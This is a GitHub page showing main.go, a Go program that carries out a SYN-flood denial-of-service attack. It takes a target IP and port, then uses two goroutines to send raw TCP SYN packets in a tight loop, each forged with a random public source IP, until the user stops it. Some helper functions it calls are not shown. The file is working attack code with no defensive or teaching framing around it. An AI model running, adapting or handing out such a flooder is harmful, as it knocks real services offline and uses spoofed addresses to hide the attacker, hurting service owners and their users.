-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.go
92 lines (76 loc) · 1.83 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package main
import (
"context"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"os/signal"
"sync"
"syscall"
"time"
)
func init() {
rand.Seed(time.Now().UnixNano())
}
func main() {
host := flag.String("host", "", "destination ip")
port := flag.Int("port", 0, "destination port")
flag.Parse()
if *host == "" || *port == 0 {
flag.Usage()
os.Exit(1)
}
dstIp := net.ParseIP(*host)
dstPort := uint16(*port)
log.Printf("starting syn-flood against %s:%d", dstIp, dstPort)
rawSocket, err := NewRawSocket(dstIp)
if err != nil {
log.Fatalf("new raw socket: %v", err)
}
wg := &sync.WaitGroup{}
ctx, cancelFunc := context.WithCancel(context.Background())
for i := 0; i < 2; i++ {
wg.Add(1)
go Run(wg, ctx, rawSocket, dstIp, dstPort)
log.Printf("started go routine %d", i)
}
log.Println("press ^C to stop")
termChan := make(chan os.Signal, 1)
signal.Notify(termChan, syscall.SIGINT, syscall.SIGTERM)
<-termChan
log.Println("received term signal")
cancelFunc()
wg.Wait()
log.Println("done")
}
func Run(wg *sync.WaitGroup, ctx context.Context, rawSocket RawSocket, dstIp net.IP, dstPort uint16) {
for {
select {
case <-ctx.Done():
log.Println("canceling")
wg.Done()
return
default:
if err := SendSYN(rawSocket, dstIp, dstPort); err != nil {
log.Printf("send SYN: %v", err)
}
}
}
}
func SendSYN(rawSocket RawSocket, dstIp net.IP, dstPort uint16) error {
srcIp := GetRandPublicIP()
tcpHeaderBytes, err := GetTCPSYNHeaderBytes(srcIp, dstIp, dstPort)
if err != nil {
return fmt.Errorf("get TCP header: %w", err)
}
ipv4Header := GetIPV4Header(srcIp, dstIp, len(tcpHeaderBytes), syscall.IPPROTO_TCP)
ipv4HeaderBytes, _ := ipv4Header.Marshal()
data := append(ipv4HeaderBytes, tcpHeaderBytes...)
if err := rawSocket.Send(data); err != nil {
return fmt.Errorf("send data to: %w", err)
}
return nil
}